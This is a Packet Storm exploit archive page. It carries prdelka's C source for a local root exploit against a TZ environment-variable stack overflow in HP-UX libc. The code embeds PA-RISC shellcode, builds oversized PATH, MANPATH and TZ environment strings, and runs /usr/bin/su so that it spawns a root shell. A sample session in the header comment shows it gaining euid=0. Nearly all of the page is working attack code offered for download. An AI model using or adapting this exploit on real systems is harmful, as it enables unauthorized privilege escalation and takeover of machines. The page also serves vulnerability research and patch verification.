exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-HPUX-libc.c

prdelka-vs-HPUX-libc.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

HP-UX libc timezone environment overflow exploit. HP-UX libc contains an exploitable stack overflow in the handling of "TZ" environment variable. The problem occurs due to insufficient bounds checking in the localtime_r() and related functions. Any suid or sgid program which uses the timezone functions can be used as an attack vector. This exploit uses "su" to obtain root privileges.

tags | exploit, overflow, root
systems | hpux
SHA-256 | 34d846e3e0a8d4700592a69b16c25ca882966c58bb1de3a7e74d3cb507960e1a

prdelka-vs-HPUX-libc.c

Change Mirror Download
/* HP-UX libc timezone environment overflow exploit
* ================================================
* HP-UX libc contains an exploitable stack overflow
* in the handling of "TZ" environment variable. The
* problem occurs due to insufficient bounds checking
* in the localtime_r() and related functions. Any suid
* or sgid program which uses the timezone functions can
* be used as an attack vector. This exploit uses "su"
* to obtain root priviledges.
*
* Example.
* $ cc prdelka-vs-HPUX-libc.c -o prdelka-vs-HPUX-libc
* /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
* (prdelka-vs-HPUX-libc.o) was detected. The linked output may not run
* on a PA 1.x system.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-libc
* [ HP-UX libc timezone environment overflow
* Password:
* # id
* uid=102(user) gid=20(users) euid=0(root)
*
* - prdelka
*/

char shellcode[]="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";

int main(){
char *a, adr[4],ptr1[4],ptr2[4],*b,*envp[3];
int i;
*(unsigned long*)adr=0x10eC7f7F;
*(unsigned long*)ptr1=0x059c7f7f;
*(unsigned long*)ptr2=0x7f7f059c;
b=(char*)malloc(126);
memset(b,0,126);
a=b;
sprintf(b,"PATH=");
b+=5;
for(i=0;i<120;i++) *b++=ptr1[i%4];
envp[0]=a;
b=(char*)malloc(809);
memset(b,0,809);
a=b;
sprintf(b,"MANPATH=");
b+=8;
for(i=0;i<800;i++) *b++=ptr1[i%4];
envp[1]=a;
b=(char*)malloc(3429);
memset(b,0,3427);
a=b;
sprintf(b,"TZ=");
b+=3;
for(i=0;i<2384;i++) *b++=ptr1[i%4];
for(i=0;i<4;i++) *b++=ptr2[i%4];
for(i=0;i<1002;i++) *b++=adr[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
envp[2]=a;
envp[3]=0;
printf("[ HP-UX libc timezone environment overflow\n");
execle("/usr/bin/su","pdk",0,envp);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close